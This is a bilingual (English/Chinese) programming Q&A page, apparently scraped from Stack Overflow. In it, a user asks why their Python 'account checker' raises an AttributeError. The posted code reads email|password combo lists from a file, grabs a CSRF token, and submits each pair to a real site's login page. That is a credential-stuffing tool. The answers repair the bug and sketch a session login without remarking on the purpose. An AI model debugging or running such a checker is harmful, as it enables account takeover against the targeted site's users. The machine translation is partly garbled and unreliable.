[英]How to Fix AttributeError: module 'requests.sessions' has no attribute 'post'
I want to create account checker with python我想用 python 创建帐户检查器
These is my code这是我的代码
import requests
from bs4 import BeautifulSoup
class output(object):
def tested(self, email, password):
print(f" Posted: {email} {password}")
# Get CSRF TOKEN
class checker_start(object):
def get_token(self):
data = requests.get("https://www.marlboro.id/auth/login")
soup = BeautifulSoup(data.text, "lxml")
decide_csrf = soup.find("input", {"name": "decide_csrf"})["value"]
return decide_csrf
def post(self, combo):
decide_csrf = self.get_token()
email = combo[0]
password = combo [1]
api = requests.sessions
# Creating POST METHOD #
param = {"_method": "POST", "decide_csrf": decide_csrf, "email": email, "password": password}
source = api.post("https://www.marlboro.id/auth/login", data=param).text
if """<div class="err__msg-big">Opps!</div>""" in source:
output().tested(email, password)
else:
output().tested(email, password)
def start(self):
file = input("Please input your txt file: ")
data = open(file, "r").readlines()
data_s = [lines.replace("\n", " ") for lines in data]
for lines in data_s:
combo = lines.split("|")
self.post(combo)
if __name__ == "__main__":
checker_start().start()
But when I run these code the output is:但是当我运行这些代码时,输出是:
Traceback (most recent call last): File "/Users/erzajullian/PycharmProjects/Checker/marlboro.py", line 39, in checker_start().start() File "/Users/erzajullian/PycharmProjects/Checker/marlboro.py", line 36, in start self.post(combo) File "/Users/erzajullian/PycharmProjects/Checker/marlboro.py", line 23, in post source = api.post(" https://www.marlboro.id/auth/login ", data=param).text AttributeError: module 'requests.sessions' has no attribute 'post'
回溯(最近调用最后):文件“/Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第 39 行,在 checker_start().start() 文件“/Users/erzajullian/PycharmProjects/Checker/marlboro.py” ,第 36 行,在启动 self.post(combo) 文件“/Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第 23 行,在 post source = api.post(" https://www.marlboro.id/ auth/login ", data=param).text AttributeError: 模块 'requests.sessions' 没有属性 'post'
How to solve these problem?如何解决这些问题? Thank you
谢谢
You have你有
api = requests.sessions
api
is not the requests module after this point, so it has no post()
method. api
不是 requests 模块,所以它没有post()
方法。
If you replace如果你更换
source = api.post("https://www.marlboro.id/auth/login", data=param).text
with和
source = requests.post("https://www.marlboro.id/auth/login", data=param).text
Does that fix things?这能解决问题吗? If so, you can remove the
api = requests.sessions
line.)如果是这样,您可以删除
api = requests.sessions
行。)
First of all you'll have to change your code a bit.首先,您必须稍微更改一下代码。 Post request should be handeled differently.
发布请求应该以不同的方式处理。
import requests
with requests.Sessions as s:
# Define headers which you will get via post request
Headers = {'user-agent':'YOUR_HEADERS'}
url = 'some_url'
login_data{
'username':'user',
'password':'password'
# Any other login data your site requires}
r = s.post(url, data=login_data, headers=Headers)
# now you can use r.content to parse given html in bs4
hope this helps希望这可以帮助
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.